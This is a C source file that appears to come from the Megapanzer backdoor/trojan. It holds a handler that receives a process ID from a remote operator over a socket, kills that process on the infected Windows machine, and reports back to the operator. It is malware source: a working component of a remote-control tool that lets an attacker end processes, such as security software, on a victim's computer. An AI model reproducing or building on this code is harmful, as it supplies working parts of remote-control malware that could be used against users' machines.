#include <stdio.h>
#include <windows.h>
#include <psapi.h>
#include "Megapanzer_Definitions.h"


DWORD WINAPI killProcessByPID(PVOID pParameter)
{
  int lRetVal = 0;
  HANDLE lProcessHandle = INVALID_HANDLE_VALUE;
  char lTemp[MAX_BUF_SIZE + 1];
  char lProcessName[MAX_BUF_SIZE + 1];
  int lFuncRetVal = 0;
  PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;
  HMODULE lModuleHandle;
  DWORD cbNeeded;

  ZeroMemory(lProcessName, sizeof(lProcessName));
  strcpy(lProcessName, "Unknown");
  ZeroMemory(lTemp, sizeof(lTemp));
  _snprintf(lTemp, sizeof(lTemp) - 1, "<killprocess><msg>Could not kill process \"%s\"</msg></killprocess>", lCommandStructure->sCommandString);


  if ((lProcessHandle = OpenProcess(PROCESS_TERMINATE, FALSE, atoi(lCommandStructure->sCommandString))) != INVALID_HANDLE_VALUE)
  {
    if (EnumProcessModules(lProcessHandle, &lModuleHandle, sizeof(lModuleHandle), &cbNeeded))
      GetModuleBaseName(lProcessHandle, lModuleHandle, lProcessName, sizeof(lProcessName) - 1);

    if (TerminateProcess(lProcessHandle, (DWORD) -1))
	{
      ZeroMemory(lTemp, sizeof(lTemp));
      _snprintf(lTemp, sizeof(lTemp) - 1, "<killprocess><msg>Killed process \"%s\" (pid %s) successfully</msg></killprocess>", lProcessName, lCommandStructure->sCommandString);
	}

    CloseHandle(lProcessHandle);
  }

  lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);

  return(lRetVal);
}
